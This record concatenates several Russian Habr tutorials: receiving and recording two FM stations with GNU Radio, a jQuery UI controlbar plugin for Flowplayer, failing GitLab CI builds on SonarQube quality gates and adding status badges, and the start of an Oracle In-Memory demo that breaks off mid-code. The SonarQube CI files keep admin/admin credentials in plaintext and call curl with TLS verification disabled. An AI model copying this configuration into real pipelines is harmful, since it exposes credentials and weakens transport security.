Как всегда, буду рад любым отзывам и комментариям. | https://habr.com/ru/post/262953/ | null | ru | null |
# Software Defined Radio — как это работает? Часть 4
Привет, Хабр.
В [третьей части](https://habr.com/ru/post/452390/) было рассказано, как получить доступ к SDR-приемнику посредством языка Python. Сейчас мы познакомимся с программой [GNU Radio](https://www.gnuradio.org/) — системой, позволяющей создать достаточно сложную конфигурацию радиоустройства, не написав ни единой строчки кода.
Для примера рассмотрим задачу параллельного приема нескольких FM-станций на один приемник. В качестве приемника будем использовать все тот же RTL SDR V3.
Продолжение под катом.
Установка
---------
Для начала работы GNU Radio необходимо установить, дистрибутив для Windows можно скачать [здесь](https://downloads.myriadrf.org/builds/PothosSDR/). Система эта кроссплатформенная, версии есть также под Linux и под OSX (вроде бы GNU Radio успешно запускали и на Raspberry Pi, но 100% гарантии дать не могу).
По сути, GNU Radio это целый фреймворк для цифровой обработки сигналов, в котором программа «собирается» из отдельных модулей. Есть большое количество уже готовых блоков, при желании также можно создавать свои собственные. Сами модули написаны на С++, а для взаимодействия блоков друг с другом используется Python. Желающие могут посмотреть на API [более подробно](https://www.gnuradio.org/doc/doxygen/index.html), но на практике это, скорее всего, не пригодится — все действия можно делать визуально в программе GNU Radio Companion.
Система ориентирована на обработку потоков данных, так что каждый блок обычно имеет вход и выход. Далее, соединяя блоки в редакторе, мы получаем готовую систему. Сам интерфейс GNU Radio довольно простой, сложность состоит в понимании того, что делает тот или иной блок. Как говорилось ранее, низкоуровневая работа с SDR имеет высокий порог входа и требует некоторого знания в DSP и математике. Но мы рассмотрим простую задачу, для которой никаких специальных знаний не потребуется. Итак, приступим.
Начало работы
-------------
Запускаем GNU Radio Companion, создаем новый проект, тип проекта выбираем WX GUI, добавляем на экран и соединяем два блока, как показано на скриншоте.
Мы видим два типа блоков — Source (источник) и Sink (выход, «слив»). RTL-SDR — это наш приемник, FFT GUI — это виртуальный спектроанализатор.
Переменную Sample Rate устанавливаем в 2048000, это частота дискретизации нашего приемника. Частоту RTL-SDR оставляем по умолчанию равной 100МГц.
Запускаем проект — все работает, мы видим спектр FM-станций. Первая программа для GNU Radio готова!
Если мы посмотрим лог, то увидим такие строки.
*Generating: 'D:\\MyProjects\\GNURadio\\top\_block.py'
Executing: C:\Python27\python.exe -u D:\MyProjects\GNURadio\top\_block.py*
Да, мы можем посмотреть файл top\_block.py, который сгенерил нам GNU Radio Companion. Истинные джедаи могут писать непосредственно в Python, но требуемый код, как мы видим, довольно большой. Мы же создали его за 1 минуту.
**top\_blocks.py**
```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
##################################################
# GNU Radio Python Flow Graph
# Title: Top Block
# Generated: Wed May 22 22:05:14 2019
##################################################
if __name__ == '__main__':
import ctypes
import sys
if sys.platform.startswith('linux'):
try:
x11 = ctypes.cdll.LoadLibrary('libX11.so')
x11.XInitThreads()
except:
print "Warning: failed to XInitThreads()"
from gnuradio import eng_notation
from gnuradio import gr
from gnuradio import wxgui
from gnuradio.eng_option import eng_option
from gnuradio.fft import window
from gnuradio.filter import firdes
from gnuradio.wxgui import fftsink2
from grc_gnuradio import wxgui as grc_wxgui
from optparse import OptionParser
import osmosdr
import time
import wx
class top_block(grc_wxgui.top_block_gui):
def __init__(self):
grc_wxgui.top_block_gui.__init__(self, title="Top Block")
##################################################
# Variables
##################################################
self.samp_rate = samp_rate = 2048000
##################################################
# Blocks
##################################################
self.wxgui_fftsink2_0 = fftsink2.fft_sink_c(
self.GetWin(),
baseband_freq=0,
y_per_div=10,
y_divs=10,
ref_level=0,
ref_scale=2.0,
sample_rate=samp_rate,
fft_size=1024,
fft_rate=15,
average=False,
avg_alpha=None,
title='FFT Plot',
peak_hold=False,
)
self.Add(self.wxgui_fftsink2_0.win)
self.rtlsdr_source_0 = osmosdr.source( args="numchan=" + str(1) + " " + '' )
self.rtlsdr_source_0.set_sample_rate(samp_rate)
self.rtlsdr_source_0.set_center_freq(100e6, 0)
self.rtlsdr_source_0.set_freq_corr(0, 0)
self.rtlsdr_source_0.set_dc_offset_mode(0, 0)
self.rtlsdr_source_0.set_iq_balance_mode(0, 0)
self.rtlsdr_source_0.set_gain_mode(False, 0)
self.rtlsdr_source_0.set_gain(10, 0)
self.rtlsdr_source_0.set_if_gain(20, 0)
self.rtlsdr_source_0.set_bb_gain(20, 0)
self.rtlsdr_source_0.set_antenna('', 0)
self.rtlsdr_source_0.set_bandwidth(0, 0)
##################################################
# Connections
##################################################
self.connect((self.rtlsdr_source_0, 0), (self.wxgui_fftsink2_0, 0))
def get_samp_rate(self):
return self.samp_rate
def set_samp_rate(self, samp_rate):
self.samp_rate = samp_rate
self.wxgui_fftsink2_0.set_sample_rate(self.samp_rate)
self.rtlsdr_source_0.set_sample_rate(self.samp_rate)
def main(top_block_cls=top_block, options=None):
tb = top_block_cls()
tb.Start(True)
tb.Wait()
if __name__ == '__main__':
main()
```
Впрочем, если убрать громоздкую инициализацию, то мы увидим, что ключевых строк кода не так уж много.
```
from gnuradio import gr
from gnuradio.wxgui import fftsink2
import osmosdr
class top_block(grc_wxgui.top_block_gui):
def __init__(self):
grc_wxgui.top_block_gui.__init__(self, title="Top Block")
self.samp_rate = samp_rate = 2048000
self.wxgui_fftsink2_0 = fftsink2.fft_sink_c(...)
self.Add(self.wxgui_fftsink2_0.win)
self.rtlsdr_source_0 = osmosdr.source(args="numchan=" + str(1) + " " + '' )
self.connect((self.rtlsdr_source_0, 0), (self.wxgui_fftsink2_0, 0))
def main(top_block_cls=top_block, options=None):
tb = top_block_cls()
tb.Start(True)
tb.Wait()
```
Так что в принципе, это можно написать вручную. Но мышью оно все-таки быстрее. Хотя возможность поменять код иногда может пригодиться, если захочется добавить какую-то нестандартную логику.
Принимаем FM-радио
------------------
Теперь попробуем принять одну из станций. Как было видно из скриншотов, центральная частота приемника 100МГц и ширина полосы пропускания около 2МГц. На спектре мы видим две станции, на 100.1МГц и 100.7МГц соответственно.
Первым шагом необходимо перенести спектр станции в центр, сейчас он отстоит вправо на 100КГц. Для этого вспоминаем школьную формулу умножения косинусов — в результате будет две частоты, сумма и разность — нужная станция сдвинется в центр, что нам и нужно (а лишнее мы потом отфильтруем).
Создаем две переменные для хранения частоты freq\_center=100000000 и freq\_1=100100000, также добавляем генератор сигналов с частотой freq\_center — freq\_1.
Т.к. система построена на базе Python, то в полях ввода параметров мы можем использовать выражения, что достаточно удобно.
Схема в итоге должна выглядеть так:
Теперь необходимо добавить сразу несколько блоков — уменьшить тактовую частоту входного сигнала (она равна 2048КГц), отфильтровать сигнал, подать его на FM-декодер, затем еще раз уменьшить тактовую частоту до 48КГц.
Результат показан на картинке:
Считаем внимательно. Мы делим тактовую частоту 2048КГц в 4 раза блоком Rational Resampler (получаем 512КГц), затем после Low Pass фильтра стоит WBFM-декодер с децимацией 10 (получаем 51.2КГц). В принципе, этот сигнал уже можно подать на звуковую карту, но высота тона будет чуть отличаться. Еще раз меняем тактовую частоту в 48/51, в результате будет тактовая частота 48.2КГц, разницей уже можно пренебречь.
Второй важный момент — тип входов. С приемника поступает *комплексный* IQ-сигнал (входы-выходы синего цвета), с FM-декодера выходит *вещественный* сигнал — входы и выходы желтого цвета. Если перепутать, ничего не заработает. Подробнее [уже было на Хабре](https://habr.com/ru/post/419735/), нам достаточно понять общий принцип.
В общем, запускаем, убеждаемся что все работает. Можно запустить программу и слушать радио. Мы пойдем дальше — у нас же все-таки *Software Defined* радио — добавим одновременный прием второй станции.
Многоканальный прием
--------------------
Второй приемник добавляется любимым программистским методом — Ctrl+C/Ctrl+V. Добавляем переменную freq\_2, копируем блоки и соединяем их точно также.
Результат вполне сюрреалистичный — две FM-станции можно слушать одновременно. Тем же самым методом (Ctrl+V) можно добавить и третью станцию.
Запись
------
Слушать две станции оригинально, но на практике мало полезно. Сделаем что-то более нужное, например добавим запись звука в отдельные файлы. Это может быть достаточно удобно — с одного физического приемника можно параллельно записывать несколько каналов.
Добавим к каждому выходу компонент File Sink, как показано на скриншоте.
Windows-версия почему-то требует абсолютные пути файлов, иначе запись не работает. Запускаем, убеждаемся что все нормально. Размер сохраняемых файлов довольно большой, т.к. по умолчанию записывается формат float. Запись в формате int оставлю читателям в качестве домашнего задания.
Получившиеся файлы можно открыть в Cool Edit и убедиться, что звук записался нормально.
Разумеется, число записываемых каналов можно увеличить, оно ограничено только полосой пропускания приемника и мощностью компьютера. Кроме File Sink можно использовать и UDP Sink, так что программу можно использовать для трансляции по сети.
Запуск из командной строки
--------------------------
И последнее. Если использовать программу автономно, например для многоканальной записи, то UI в принципе и не нужен. В верхнем левом блоке Options меняем параметр Run Options на No UI. Запускаем программу еще раз, убеждаемся что все работает. Теперь сохраняем сгенерированный файл top\_block.py — мы можем просто запускать его из командной строки, например из bat-файла или из консоли.
Если кому интересно, сгенерированный файл сохранен под спойлером.
**recorder.py**
```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
##################################################
# GNU Radio Python Flow Graph
# Title: Top Block
# Generated: Fri May 24 21:47:03 2019
##################################################
from gnuradio import analog
from gnuradio import audio
from gnuradio import blocks
from gnuradio import eng_notation
from gnuradio import filter
from gnuradio import gr
from gnuradio.eng_option import eng_option
from gnuradio.filter import firdes
from optparse import OptionParser
import osmosdr
import time
class top_block(gr.top_block):
def __init__(self):
gr.top_block.__init__(self, "Top Block")
##################################################
# Variables
##################################################
self.samp_rate = samp_rate = 2048000
self.freq_center = freq_center = 100000000
self.freq_2 = freq_2 = 100700000
self.freq_1 = freq_1 = 100100000
##################################################
# Blocks
##################################################
self.rtlsdr_source_0 = osmosdr.source( args="numchan=" + str(1) + " " + '' )
self.rtlsdr_source_0.set_sample_rate(samp_rate)
self.rtlsdr_source_0.set_center_freq(freq_center, 0)
self.rtlsdr_source_0.set_freq_corr(0, 0)
self.rtlsdr_source_0.set_dc_offset_mode(0, 0)
self.rtlsdr_source_0.set_iq_balance_mode(0, 0)
self.rtlsdr_source_0.set_gain_mode(False, 0)
self.rtlsdr_source_0.set_gain(10, 0)
self.rtlsdr_source_0.set_if_gain(20, 0)
self.rtlsdr_source_0.set_bb_gain(20, 0)
self.rtlsdr_source_0.set_antenna('', 0)
self.rtlsdr_source_0.set_bandwidth(0, 0)
self.rational_resampler_xxx_1_0 = filter.rational_resampler_fff(
interpolation=48,
decimation=51,
taps=None,
fractional_bw=None,
)
self.rational_resampler_xxx_1 = filter.rational_resampler_fff(
interpolation=48,
decimation=51,
taps=None,
fractional_bw=None,
)
self.rational_resampler_xxx_0_0 = filter.rational_resampler_ccc(
interpolation=1,
decimation=4,
taps=None,
fractional_bw=None,
)
self.rational_resampler_xxx_0 = filter.rational_resampler_ccc(
interpolation=1,
decimation=4,
taps=None,
fractional_bw=None,
)
self.low_pass_filter_0_0 = filter.fir_filter_ccf(1, firdes.low_pass(
1, samp_rate/4, 100000, 500000, firdes.WIN_HAMMING, 6.76))
self.low_pass_filter_0 = filter.fir_filter_ccf(1, firdes.low_pass(
1, samp_rate/4, 100000, 500000, firdes.WIN_HAMMING, 6.76))
self.blocks_multiply_xx_0_0 = blocks.multiply_vcc(1)
self.blocks_multiply_xx_0 = blocks.multiply_vcc(1)
self.blocks_file_sink_0_0 = blocks.file_sink(gr.sizeof_float*1, 'D:\\Temp\\1\\audio2.snd', False)
self.blocks_file_sink_0_0.set_unbuffered(False)
self.blocks_file_sink_0 = blocks.file_sink(gr.sizeof_float*1, 'D:\\Temp\\1\\audio1.snd', False)
self.blocks_file_sink_0.set_unbuffered(False)
self.audio_sink_0 = audio.sink(48000, '', True)
self.analog_wfm_rcv_0_0 = analog.wfm_rcv(
quad_rate=samp_rate/4,
audio_decimation=10,
)
self.analog_wfm_rcv_0 = analog.wfm_rcv(
quad_rate=samp_rate/4,
audio_decimation=10,
)
self.analog_sig_source_x_0_0 = analog.sig_source_c(samp_rate, analog.GR_COS_WAVE, freq_center - freq_2, 1, 0)
self.analog_sig_source_x_0 = analog.sig_source_c(samp_rate, analog.GR_COS_WAVE, freq_center - freq_1, 1, 0)
##################################################
# Connections
##################################################
self.connect((self.analog_sig_source_x_0, 0), (self.blocks_multiply_xx_0, 1))
self.connect((self.analog_sig_source_x_0_0, 0), (self.blocks_multiply_xx_0_0, 1))
self.connect((self.analog_wfm_rcv_0, 0), (self.rational_resampler_xxx_1, 0))
self.connect((self.analog_wfm_rcv_0_0, 0), (self.rational_resampler_xxx_1_0, 0))
self.connect((self.blocks_multiply_xx_0, 0), (self.rational_resampler_xxx_0, 0))
self.connect((self.blocks_multiply_xx_0_0, 0), (self.rational_resampler_xxx_0_0, 0))
self.connect((self.low_pass_filter_0, 0), (self.analog_wfm_rcv_0, 0))
self.connect((self.low_pass_filter_0_0, 0), (self.analog_wfm_rcv_0_0, 0))
self.connect((self.rational_resampler_xxx_0, 0), (self.low_pass_filter_0, 0))
self.connect((self.rational_resampler_xxx_0_0, 0), (self.low_pass_filter_0_0, 0))
self.connect((self.rational_resampler_xxx_1, 0), (self.audio_sink_0, 0))
self.connect((self.rational_resampler_xxx_1, 0), (self.blocks_file_sink_0, 0))
self.connect((self.rational_resampler_xxx_1_0, 0), (self.audio_sink_0, 1))
self.connect((self.rational_resampler_xxx_1_0, 0), (self.blocks_file_sink_0_0, 0))
self.connect((self.rtlsdr_source_0, 0), (self.blocks_multiply_xx_0, 0))
self.connect((self.rtlsdr_source_0, 0), (self.blocks_multiply_xx_0_0, 0))
def get_samp_rate(self):
return self.samp_rate
def set_samp_rate(self, samp_rate):
self.samp_rate = samp_rate
self.rtlsdr_source_0.set_sample_rate(self.samp_rate)
self.low_pass_filter_0_0.set_taps(firdes.low_pass(1, self.samp_rate/4, 100000, 500000, firdes.WIN_HAMMING, 6.76))
self.low_pass_filter_0.set_taps(firdes.low_pass(1, self.samp_rate/4, 100000, 500000, firdes.WIN_HAMMING, 6.76))
self.analog_sig_source_x_0_0.set_sampling_freq(self.samp_rate)
self.analog_sig_source_x_0.set_sampling_freq(self.samp_rate)
def get_freq_center(self):
return self.freq_center
def set_freq_center(self, freq_center):
self.freq_center = freq_center
self.rtlsdr_source_0.set_center_freq(self.freq_center, 0)
self.analog_sig_source_x_0_0.set_frequency(self.freq_center - self.freq_2)
self.analog_sig_source_x_0.set_frequency(self.freq_center - self.freq_1)
def get_freq_2(self):
return self.freq_2
def set_freq_2(self, freq_2):
self.freq_2 = freq_2
self.analog_sig_source_x_0_0.set_frequency(self.freq_center - self.freq_2)
def get_freq_1(self):
return self.freq_1
def set_freq_1(self, freq_1):
self.freq_1 = freq_1
self.analog_sig_source_x_0.set_frequency(self.freq_center - self.freq_1)
def main(top_block_cls=top_block, options=None):
tb = top_block_cls()
tb.start()
try:
raw_input('Press Enter to quit: ')
except EOFError:
pass
tb.stop()
tb.wait()
if __name__ == '__main__':
main()
```
Удобно и то, что система является кросс-платформенной, и получившаяся программа может работать на Linux, Windows и OSX.
Заключение
----------
Можно сказать, что GNU Radio достаточно сложная система, не в плане рисования блоков конечно, а в плане понимания того, как все это работает. Но какие-то несложные вещи сделать вполне посильно и интересно. GNU Radio также удобно использовать как «виртуальную лабораторию» для обучения — к любой части схемы можно подключить виртуальный осциллограф или спектроанализатор и посмотреть, как выглядит сигнал.
Если не будет каких-то отдельных пожеланий, тему SDR-приема наверно можно закрыть — все основные моменты уже рассмотрены, да и количество просмотров от первой к третьей части падает [почти по экспоненте](https://habrastorage.org/webt/ph/qh/oe/phqhoeh5j8osiqqttd2s2lbntow.png) (хотя еще можно написать про передачу, но оно требует более дорогого «железа» для тестов чем RTL SDR). Надеюсь все же, что некоторое понимание того как это работает, у читателей осталось. Ну и всем удачных экспериментов. | https://habr.com/ru/post/453038/ | null | ru | null |
# HTML-controlbar для Flowplayer’a на основе стилей jQuery UI
Вопрос поиска хорошего flash-плеера с HTML-интерфейсом занимал и занимает многих. Только на хабре можно найти немало статей на похожую тему. Так сложилось, что для своих нужд я использовал [Flowplayer](http://flowplayer.org/index.html) с плагином [Controlbar](http://flowplayer.org/plugins/javascript/controlbar.html) с официального сайта. И все же чего-то не хватало…
Однажды пришло решение – использовать удобство тем [jQuery UI](http://jqueryui.com/themeroller/) для стилизации элементов управления. Было очевидно, что писать плагин придется самому. Увидеть, что из этого получилось можно под катом.
Плагин **juifp** *(легко запомнить: **J**query **UI** **F**low**P**layer)* при подключении к flowplayer'у создает в указанном контейнере элементы управления плеером на HTML.
```
$f().juifp(container, [options])
// Например
$f().juifp('div#juifp-container', {
height: 30,
showMute: false
})
```
Таким образом флеш-элемент можно скрыть и использовать для управления проигрыванием только HTML-элементы.
При написании плагина я ориентировался на проигрывание mp3, но надо отметить, что все справедливо и для видео. Разве что кнопку fullscreen добавить…
Пример вида плеера при использовании настроек по-умолчанию:
#### Почему flowplayer?
Стиль кода используемого командой flowplayer’a во многом похож на jQuery, что лично для меня является весьма удобным. Так же flowplayer довольно хорошо документирован. Ну и вообще – на него я наткнулся, когда нашел другую разработку этой команды – [jQuery tools](http://flowplayer.org/tools/index.html) – и мне эти инструменты сильно понравились. )
#### Почему jQuery UI?
Команда jQuery UI на мой взгляд проделала огромную работу создав много отличных инструментов и используя для них единые темы. Учитывая это, а также популярность jQuery вообще – было решено основываться именно на темах jQuery UI. Да, о возможности легко создать свою тему, совместимую с jQuery UI, тоже забывать не стоит.
#### Javascript-плагин для flowplayer
Я решил не останавливаться подробно на написании javascript-плагина. На это есть неплохая [справка](http://flowplayer.org/documentation/developer/writing-javascript-plugins.html) на офф.сайте. И потом, все это можно будет увидеть на моем примере. (Кстати, надо заметить, что вообще вся информация на офф.сайте плеера довольно полно и понятно представлена.)
#### Итак?
Сам плагин размещается в файле **juifp-1.0.source.js**
> ###### Лучше всего смотреть демо в браузере FireFox, так как в этом случае будет доступен инструмент jQuery UI ThemeRoller. С его помощью можно сразу оценить – как смена темы отражается на внешнем виде плагина
>
>
Рабочее демо [тут](http://negasus.ru/juifp/demo)
Пока все смотрят, приведу краткую информацию.
Возможные опции (в примере ниже представлены значения по-умолчанию):
```
// Кнопки управленния. Можно располагать в любом порядке или не выводить вообще
// (все на совести здавого смысла, так как кнопку play можно тоже не выводить)
controls: [
'seek-prev',
'stop',
'play',
'seek-next'
],
// Описания для кнопок (значения атрибута title)
buttonsTitle: {
play: 'Play',
stop: 'Stop',
pause: 'Pause',
prev: 'Prev',
next: 'Next',
mute: 'Mute',
unmute: 'Unmute'
},
// При значении true для всех элементов будет добавлен класс ui-corner-all
// При false - скругленным будет только ползунок регулятора громкости
roundCorners: true,
// Показывать или нет кнопку Mute
showMute: true,
// Показывать или нет регулятор громкости
showVolumebar: true,
// Значения громкости по-умолчанию (0-100)
defaultVolume: 50,
// Ширина тайм-линии в пикселях. Минимальное значение - 150
progressbarWidth: 300,
// Ширина регулятора громкости в пикселях. Минимальное значение - 50
volumebarWidth: 100,
// Отступ для всех элементов. При 0 - все элементы будут вплотную друг к другу
elementsMargin: 1,
// Высота в пикселях. Минимальное значение - 16
height: 26
```
Используя опции можно добиться вида плагина от такого
до, например, такого
Минимальный код для подключения плагина со значениями по-умолчанию
```
$f().juifp(container);
```
Где **container** – селектор для элемента, в котором необходимо разместить плагин.
##### Надо иметь ввиду
1. Кнопки **Next** и **Prev** пока не выполняют никаких действий. ~~(Мысль уже смотрит дальше, на удобные плей-листы....)~~
2. Вполне возможно возникнет вопрос о выводе имени файла внутри плеера. Я долго колебался — размещать-ли название песни/файла внутри тайм-линии, слева от таймера. После некоторых опытов — решил не размещать. Хотя элемент juifp-timeline-text остался на всякий случай — путь он не вводит вас в заблуждение.
3. Учитывая, что изначально плагин писался для себя – не было необходимости использовать только нативный javascript для максимального удобства разработки. Поэтому в данный момент плагин требует подключения jQuery и следующих jQuery UI библиотек:
* jquery.ui.core
* jquery.ui.widget
* jquery.ui.mouse
* jquery.ui.slider
Рассматривается необходимость переписать все на чистом javascript.
Пока на этом всё. Буду рад любым комментариям.
Последнюю версию плагина всегда можно найти [тут](http://negasus.ru/juifp/juifp.source.js)
В ролях:
> * [jQuery](http://jquery.com)
> * [jQuery UI](http://jqueryui.com)
> * [Flowplayer](http://flowplayer.org/index.html)
> | https://habr.com/ru/post/113912/ | null | ru | null |
# Отображение разработчикам статуса контроля качества исходного кода в SonarQube
SonarQube — это открытая платформа для обеспечения непрерывного контроля качества исходного кода, поддерживающая большое количество языков программирования и позволяющая получать отчеты по таким метрикам, как дублирование кода, соответствие стандартам кодирования, покрытие тестами, сложность кода, потенциальные ошибки и т.д. SonarQube удобно визуализирует результаты анализа и позволяет отслеживать динамику развития проекта во времени.
Задача: Показывать разработчикам статус контроля качества исходного кода в SonarQube.
Есть два способа решения:
* Запускать скрипт проверки статуса контроля качества исходного кода в SonarQube. Если контроль качества исходного кода в SonarQube не проходит, то фейлить сборку.
* Показывать на главной странице проекта статус контроля качества исходного кода.
### Установка SonarQube
Для установки sonarqube из rpm пакетов воспользуемся репозиторием <https://harbottle.gitlab.io/harbottle-main>.
Установим пакет с репозиторием для CentOS 7.
```
yum install -y https://harbottle.gitlab.io/harbottle-main/7/x86_64/harbottle-main-release.rpm
```
Устанавливаем сам sonarqube.
```
yum install -y sonarqube
```
При установке установятся большинство плагинов, но нужно доустановить findbugs и pmd
```
yum install -y sonarqube-findbugs sonarqube-pmd
```
Запускаем сервис и добавляем в автозагрузку
```
systemctl start sonarqube
systemctl enable sonarqube
```
Если долго загружается, то добавьте в конец опций sonar.web.javaOpts генератор случайных чисел /dev/./urandom
```
sonar.web.javaOpts=другие параметры -Djava.security.egd=file:/dev/urandom
```
### Запуск скрипта проверки статуса контроля качества исходного кода в SonarQube.
К сожалению, плагин sonar-break-maven-plugin давно не обновлялся. Поэтому напишем свой скрипт.
Для тестирования будем использовать репозиторий <https://github.com/uweplonus/spotbugs-examples>.
Импортируем в Gitlab. Добавляем файл .gitlab-ci.yml:
```
variables:
MAVEN_OPTS: "-Dhttps.protocols=TLSv1.2 -Dmaven.repo.local=~/.m2/repository -Dorg.slf4j.simpleLogger.log.org.apache.maven.cli.transfer.Slf4jMavenTransferListener=WARN -Dorg.slf4j.simpleLogger.showDateTime=true -Djava.awt.headless=true"
MAVEN_CLI_OPTS: "--batch-mode --errors --fail-at-end --show-version -DinstallAtEnd=true -DdeployAtEnd=true"
SONAR_HOST_URL: "http://172.26.9.226:9000"
LOGIN: "admin" # логин sonarqube
PASSWORD: "admin" # пароль sonarqube
cache:
paths:
- .m2/repository
build:
image: maven:3.3.9-jdk-8
stage: build
script:
- apt install -y jq || true
- mvn $MAVEN_CLI_OPTS -Dmaven.test.failure.ignore=true org.jacoco:jacoco-maven-plugin:0.8.5:prepare-agent clean verify org.jacoco:jacoco-maven-plugin:0.8.5:report
- mvn $MAVEN_CLI_OPTS -Dmaven.test.skip=true verify sonar:sonar -Dsonar.host.url=$SONAR_HOST_URL -Dsonar.login=$LOGIN -Dsonar.password=$PASSWORD -Dsonar.gitlab.project_id=$CI_PROJECT_PATH -Dsonar.gitlab.commit_sha=$CI_COMMIT_SHA -Dsonar.gitlab.ref_name=$CI_COMMIT_REF_NAME
- export URL=$(cat target/sonar/report-task.txt | grep ceTaskUrl | cut -c11- ) #URL where report gets stored
- echo $URL
- |
while : ;do
curl -k -u "$LOGIN":"$PASSWORD" "$URL" -o analysis.txt
export status=$(cat analysis.txt | jq -r '.task.status') #Status as SUCCESS, CANCELED, IN_PROGRESS or FAILED
echo $status
if [ ${status} == "SUCCESS" ];then
echo "SONAR ANALYSIS SUCCESS";
break
fi
sleep 5
done
- curl -k -u "$LOGIN":"$PASSWORD" "$URL" -o analysis.txt
- export status=$(cat analysis.txt | jq -r '.task.status') #Status as SUCCESS, CANCELED or FAILED
- export analysisId=$(cat analysis.txt | jq -r '.task.analysisId') #Get the analysis Id
- |
if [ "$status" == "SUCCESS" ]; then
echo -e "SONAR ANALYSIS SUCCESSFUL...ANALYSING RESULTS";
curl -k -u "$LOGIN":"$PASSWORD" "$SONAR_HOST_URL/api/qualitygates/project_status?analysisId=$analysisId" -o result.txt; #Analysis result like critical, major and minor issues
export result=$(cat result.txt | jq -r '.projectStatus.status');
if [ "$result" == "ERROR" ];then
echo -e "91mSONAR RESULTS FAILED";
echo "$(cat result.txt | jq -r '.projectStatus.conditions')"; #prints the critical, major and minor violations
exit 1 #breaks the build for violations
else
echo -e "SONAR RESULTS SUCCESSFUL";
echo "$(cat result.txt | jq -r '.projectStatus.conditions')";
exit 0
fi
else
echo -e "\e[91mSONAR ANALYSIS FAILED\e[0m";
exit 1 #breaks the build for failure in Step2
fi
tags:
- docker
```
Файл .gitlab-ci.yml неидеальный. Тестировался если задачи проверки в sonarqube завершались статусом: "SUCCESS". Пока что другие статусов не было. Как будут другие статусы, поправлю .gitlab-ci.yml в этом посте.
### Отображение на главной странице проекта статус контроля качества исходного кода
Устанавливаем плагин для SonarQube
```
yum install -y sonarqube-qualinsight-badges
```
Заходим в SonarQube по адресу <http://172.26.9.115:9000/>
Создаем обычного пользователя, например "badges".
Заходим под этим пользователем в SonarQube.
Заходим в "My account", создаем новый токер, например с названием "read\_all\_repository" и нажимаем "Genereate".
Видим что появился токен. Он появлется только 1 раз.
Заходим под администратором.
Идем в Configuration -> SVG Badges
Копируем этот токен в поле "Activity badge token" и нажимаем кнопку save.
Заходим в Administration -> Security -> Permission Templates -> Default template (и другие шаблоны, которые у вас будут).
У пользователя badges необходимо установить галку "Browse".
Тестирование.
Для примера возьмем проект <https://github.com/jitpack/maven-simple>.
Импортируем этот проект.
Добавляяем файл .gitlab-ci.yml в корень проекта со следующим содержимым.
```
variables:
MAVEN_OPTS: "-Dhttps.protocols=TLSv1.2 -Dmaven.repo.local=~/.m2/repository -Dorg.slf4j.simpleLogger.log.org.apache.maven.cli.transfer.Slf4jMavenTransferListener=WARN -Dorg.slf4j.simpleLogger.showDateTime=true -Djava.awt.headless=true"
MAVEN_CLI_OPTS: "--batch-mode --errors --fail-at-end --show-version -DinstallAtEnd=true -DdeployAtEnd=true"
SONAR_HOST_URL: "http://172.26.9.115:9000"
LOGIN: "admin" # логин sonarqube
PASSWORD: "admin" # пароль sonarqube
cache:
paths:
- .m2/repository
build:
image: maven:3.3.9-jdk-8
stage: build
script:
- mvn $MAVEN_CLI_OPTS -Dmaven.test.failure.ignore=true org.jacoco:jacoco-maven-plugin:0.8.5:prepare-agent clean verify org.jacoco:jacoco-maven-plugin:0.8.5:report
- mvn $MAVEN_CLI_OPTS -Dmaven.test.skip=true verify sonar:sonar -Dsonar.host.url=$SONAR_HOST_URL -Dsonar.login=$LOGIN -Dsonar.password=$PASSWORD -Dsonar.gitlab.project_id=$CI_PROJECT_PATH -Dsonar.gitlab.commit_sha=$CI_COMMIT_SHA -Dsonar.gitlab.ref_name=$CI_COMMIT_REF_NAME
tags:
- docker
```
В SonarQube проект будет выглядеть так:
Добавляем bages в README.md и они будут выглядeть так:
Код отображения badges выглядит так:
Разбор строки отображения badges:
```
[](http://172.26.9.115:9000/dashboard?id=com.github.jitpack%3Amaven-simple)
[](http://172.26.9.115:9000/dashboard?id=id-проекта)
[](http://172.26.9.115:9000/dashboard?id=com.github.jitpack%3Amaven-simple)
[](http://172.26.9.115:9000/dashboard?id=id-проекта)
```
Где взять/проверить Project Key и id-проекта.
Project Key находится справа внизу. В URL находится id-проекта.
Опции для получение метрик можно [посмотреть тут](https://github.com/QualInsight/qualinsight-plugins-sonarqube-badges/wiki/Measure-badges).
Все pull request на улучшение, исправления ошибок [присылайте в этот репозиторий](https://github.com/maxiko/qualinsight-plugins-sonarqube-badges).
Телеграм чат про SonarQube <https://t.me/sonarqube_ru>
Телеграм чат про DevSecOps — безопасный DevOps <https://t.me/sec_devops> | https://habr.com/ru/post/486904/ | null | ru | null |
# Oracle Database In-Memory
Данная статья подготовлена Алексеем Струченко, начальником отдела оптимизации СУБД и приложений компании «Инфосистемы Джет»
Вышедшая в июле 2014 года опция Database In-Memory является самой ожидаемой и самой обсуждаемой инновацией Oracle в семействе продуктов Oracle Database. За последние несколько месяцев сотрудники компании Oracle регулярно знакомили российское оракловое сообщество с особенностями новой опции.
На Oracle Day 2014 в Москве мне выпала честь дополнить теоретическую презентацию Игоря Мельникова (Oracle) по Database In-Memory практической демонстрацией. Эту демонстрацию в полном объеме показать не удалось – оказалось не так-то просто подключить проектор к ноутбуку, соединенному с демонстрационной базой. Поэтому я решил воспользоваться трибуной Habrahabr и все-таки донести суть демонстрации Database In-Memory до сообщества.
Итак, есть две таблицы – PERSONS и CREDITS, – в которых существенно разное число полей. Структуру таблицы PERSONS приведем целиком, т.к. в ней всего четыре поля (COUNTRY\_ID – ссылка на страну, SALARY – поле для аналитики):
| | | |
| --- | --- | --- |
| **ID** | **NOT NULL** | **NUMBER** |
| **COUNTRY\_ID** | | **NUMBER** |
| **NAME** | | **VARCHAR****2(50)** |
| **SALARY** | | **NUMBER** |
В таблице CREDITS двадцать три поля, поэтому приведем только существенную часть ее структуры (COUNTRY – ссылка на страну, CREDIT\_LIMIT – поле для аналитики):
| | | |
| --- | --- | --- |
| **ID** | **NOT NULL** | **NUMBER** |
| **NAME** | | **VARCHAR****2(50)** |
| **COUNTRY** | | **NUMBER** |
| **CREDIT\_LIMIT** | | **NUMBER** |
Справочник стран взят из интернета, таблицы PERSONS и CREDITS заполнены случайным образом так, чтобы их записи ссылались только на страны Европы – всего в таблицах PERSONS и CREDITS получилось по 21248349 записей.
Роль аналитических запросов в демонстрации будут играть запросы вида:
```
SQL> select sum(salary) from persons where country_id in (select id from countries where name like 'R%');
```
Конкретно этот запрос считает сумму SALARY по всем записям таблицы PERSONS, которые связаны со странами на букву R – в Европе это Россия и Румыния. Причем оба участвующие в запросе поля сложены в In-Memory для обеих таблиц PERSONS и CREDITS:
```
